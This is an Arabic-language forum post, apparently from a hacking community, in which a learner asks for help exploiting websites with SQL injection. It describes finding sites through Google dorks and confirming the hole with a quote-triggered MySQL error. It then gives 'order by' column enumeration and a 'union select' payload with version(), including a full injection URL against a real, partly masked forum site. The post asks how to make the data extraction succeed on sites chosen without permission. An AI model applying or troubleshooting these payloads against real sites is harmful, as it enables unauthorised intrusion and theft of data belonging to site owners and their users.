بسم الله الرحمن الرحيم
السلام عليكم ورحمة الله وبركاتة
اهلا اخونى فى جيوش الهكر
مشكلة هية مع ثغرة سيكول منذة فترة قصيرة وانا اتابع دورة سيكول الافى جيوش هكر الامقدمة الاخ سديلى
بصراحة استفدت كثيرا منها ولكن عندى بعض النقاط ما فهمة يارت حد يوضحهلى
اولا
كنت بدى دوركات لسيكول بعد ماعرفت استغل الثغرة قويس جدا كتبت فى جوجل دوركات سيكول شاهدة العديد من المواقع ومن ضمنهم موقع جيوش الهكر
اجرب الدوركات ماتزبط معى تطلع مو مصابة وبعض المواقع تكون مصابة واضيف بعد الرابط العلامة ده '
يتطلع لى هادا
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 1' at line 1
المفروض هاد خطأ يعنى الموقع مصاب
اجى اطبق عليه امر --order+by+1
استخرج الاعمدة تمام
نفرض ان الاعمدة 1,2,3,4,5,6,7,8
اطبق عليه امر
+union+select+1,2,3,4,5,6,7,8
الحين يهظر لى الاعمدة المصابة نفرض ان الاعمدة المصابة هى 1,4,6
المفروض استبدل رقم 4بهذا الامر
()version لاستخراج قاعدة البيانات
مثال توضحى
كود PHP:
http://my***invest.com/forum/topic_detail.php?id=-1+union+select+1,2,3,version(),5,6,7,8--
المفروض تظهر قاعدة البيانات ما يظهر شئ
ارجو المساعدة من الخبراء
والسلام عليكم ورحمة الله وبركاتة
